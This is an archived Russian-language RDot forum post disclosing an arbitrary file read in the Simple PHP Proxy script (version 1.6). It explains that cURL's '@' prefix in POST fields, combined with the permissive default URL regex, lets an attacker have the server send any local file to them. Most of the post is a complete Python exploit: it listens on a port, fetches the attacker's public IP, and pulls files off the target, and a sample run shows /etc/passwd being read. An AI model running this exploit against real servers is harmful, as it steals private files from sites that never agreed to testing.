RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   Simple PHP Proxy (https://rdot.org/forum/showthread.php?t=3205)

cyberguru 20.07.2014 15:29

Simple PHP Proxy
 
Продукт: Simple PHP Proxy
Исходный код: скачать
Уязвимость: чтение произвольных файлов

В скрипте запросы осуществляются через cURL.
Код:

if ( strtolower($_SERVER['REQUEST_METHOD']) == 'post' ) {
    curl_setopt( $ch, CURLOPT_POST, true );
    curl_setopt( $ch, CURLOPT_POSTFIELDS, $_POST );
  }
  ...
  curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
  curl_setopt( $ch, CURLOPT_HEADER, true );
  curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
 
  curl_setopt( $ch, CURLOPT_USERAGENT, $_GET['user_agent'] ? $_GET['user_agent'] : $_SERVER['HTTP_USER_AGENT'] );
 
  list( $header, $contents ) = preg_split( '/([\r\n][\r\n])\\1/', curl_exec( $ch ), 2 );

В cURL возможна отправка файла методом POST, путем использования символа @ перед именем файла.
PHP код:

curl_setopt($curl_handleCURLOPT_POST1);
$args['file'] = '@/path/to/file';
curl_setopt($curl_handleCURLOPT_POSTFIELDS$args); 

Это может использовать атакующий и отправить себе произвольный файл.

Осуществляется проверка введенного URL на валидность регулярным выражением, но по дефолту
Код:

$valid_url_regex = '/.*/';
Эксплойт:
  • слушает заданный порт
  • работает в интерактивном режиме
Код HTML:

# python exploit.py -u "http://xxx/ba-simple-proxy.php" -p 31337
[+] Server x.x.x.x:31337
$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...

Код:

#!/usr/bin/env python
# Exploit Title: Simple PHP Proxy Arbitrary File Read
# Date:17-04-2014
# Exploit Author: @cyberguru007
# Vendor Homepage: http://benalman.com/projects/php-simple-proxy/
# Software Link: https://raw.githubusercontent.com/cowboy/php-simple-proxy/master/ba-simple-proxy.php
# Version: 1.6

import re
import sys
import select
import signal
import socket
import urllib
import urllib2
import argparse
import threading

class Flush(object):
        def __init__(self, f):
                self.f = f
        def write(self, x):
                self.f.write(x)
                self.f.flush()

class OOB_Server:
        def __init__(self, url, port):
                self.url = url
                self.host = self.GetIp()
                self.port = port
                self.buffsize = 1024
                self.timeout = 2
                signal.signal(signal.SIGINT, self.SignalHandler)
       
        def Read(self, conn):
                conn.settimeout(self.timeout)
                ret = ''
                while True:
                        try:
                                p = conn.recv(self.buffsize)
                                if not p:
                                        break
                                ret += p
                        except socket.timeout:
                                conn.send('HTTP/1.1 200 OK\r\n\r\n')
                                conn.close()
                                break
                return ret

        def Pwn(self, fname):
                url = "%s?url=%s:%s" % (self.url, self.host, self.port)
                req = urllib2.Request(url, urllib.urlencode({ 'xxx' : '@%s' % fname }))
                urllib2.urlopen(req).read()

        def Parse(self, data):
                l = '------------------------------'
                m = re.search('%s(?:[0-9a-f]{12,12})\r\nContent-Disposition: (?:.+?)\r\nContent-Type: (?:.+?)\r\n\r\n(.+?)\r\n%s(?:[0-9a-f]{12,12})--' % (l, l), data, re.DOTALL)
                return m.group(1) if m else '[-] Error'

        def GetIp(self):
                return urllib2.urlopen('http://myip.dnsdynamic.org/').read()

        def SignalHandler(self, signal, frame):
                self.server.close()
                sys.stdout.write('\n[+] Bye!\n')
                sys.exit(0)

        def Start(self):
                sys.stdout = Flush(sys.stdout)
                self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                self.server.bind(('', self.port))
                self.server.listen(5)
                self.socket_input = [self.server, sys.stdin]
                self.run = 1
                sys.stdout.write('[+] Server %s:%s\n$ ' % (self.host, self.port))
                while self.run:
                    input_ready, output_ready, except_ready = select.select(self.socket_input, [], [])
                    for s in input_ready:
                        if s == self.server:
                            client, address = self.server.accept()
                            self.socket_input.append(client)
                        elif s == sys.stdin:
                            cmd = sys.stdin.readline().strip()
                            if cmd == 'exit':
                                    self.run = 0
                                    sys.stdout.write('[+] Bye!\n')
                            else:
                                    threading.Thread(target = self.Pwn, args = (cmd,)).start()
                        else:
                                data = self.Read(s)
                                self.socket_input.remove(s)
                                sys.stdout.write('%s\n$ ' % self.Parse(data))
                self.server.close()


p = argparse.ArgumentParser()
p.add_argument("-u", "--url", dest = "url", help = "http://target/simple-proxy-script.php")
p.add_argument("-p", "--port", dest = "port", default = 4567, type = int, help = "Server port")
args = p.parse_args()
if not args.url:
        p.print_help()
        sys.exit(0)

x = OOB_Server(args.url, args.port)
x.Start()



Часовой пояс GMT +3, время: 06:30.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot